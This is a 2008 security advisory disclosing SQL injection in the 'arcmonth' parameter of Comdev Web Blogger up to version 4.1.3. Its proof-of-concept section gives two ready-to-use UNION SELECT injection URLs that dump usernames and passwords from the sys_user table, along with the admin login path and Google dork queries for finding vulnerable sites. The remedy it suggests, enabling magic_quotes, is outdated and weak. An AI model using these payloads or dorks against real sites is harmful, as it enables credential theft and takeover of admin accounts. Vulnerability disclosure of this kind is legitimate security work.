.OR.ID ECHO_ADV_100$2008 ------------------------------------------------------------------------ ----------------- [ECHO_ADV_100$2008] Comdev Web Blogger <= 4.1.3 (arcmonth) Sql Injection Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : July, 14 th 2008 Location : Jakarta, Indonesia Web : http://e-rdc.org/v1/news.php?readmore=102 Critical Lvl : Medium Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Comdev Web Blogger version : <= 4.1.3 Vendor : http://www.comdevweb.com/blogger.php Description : Comdev Web Blogger is your voice and also allows others to give you feedback on a post-by-post basis. Site members can now create, manage, upload photos to their own blogs.FEATURES: Non Template-Based Gives You Flexibility to Fit the Web Blogger to Your Web Design Page ? Multiple user accounts to create & invite friends to their own blogs ? Hot Blogs, Latest Blogs ? RSS News Feeds ? Blogs Categorisation ? Hot Blogs & Latest Blogs ? Search Blogs ? Mini Calendar ? Monthly Archive? Links to Friends' Blog ? Public or Friends View Only Blogs ? Set Post Comments Permission ? Friends Login ? Forms Submission with CAPTCHA Image Verification ? WYSIWYG Editor for Blog & Comment ? Notify Friends of New Blog ? Set View & Post Comment Permissions ? sSet Date & Time Format ? Local Time Zone ? Pre-defined Front-end CSS ? Personalized Emails & Auto-Responders ? Installation Support available ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ Input passed to the "arcmonth" parameter in blog's page is not properly verified before being used in an sql query. This can be exploited thru the browser to manipulate SQL queries and pull the username and password from admin and users in plain text. Successful exploitation requires that "magic_quotes" is off. Poc/Exploit: ~~~~~~~~~~ http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007& arcmonth=-1%20union%20select%201,concat(username,0x3a,password),3,4,5,6% 20from%20sys_user-- http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007& arcmonth=-11%20union%20select%201,username,3,password,5,6%20from%20sys_u ser/* Admin Login at http://www.example.com/[PATH]/oneadmin/ Dork: ~~~~~ Google : "Powered by Comdev Web Blogger" or allinurl:".php?domain= arcyear=2007 arcmonth" Solution: ~~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn on magic_quotes in php.ini Timeline: ~~~~~~~~~ - 11 - 07 - 2008 bug found - 11 - 07 - 2008 vendor contacted - 14 - 07 - 2008 advisory released ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ ping - my dearest wife "happy birthday darling", zautha - my beloved son ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,ne gative, the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal y,cybertank, super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4 SH3R, kuntua, stev_manado,nofry,k1tk4t,0pt1c ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://www.e-rdc.org/ -------------------------------- [ EOF ] ----------------------------------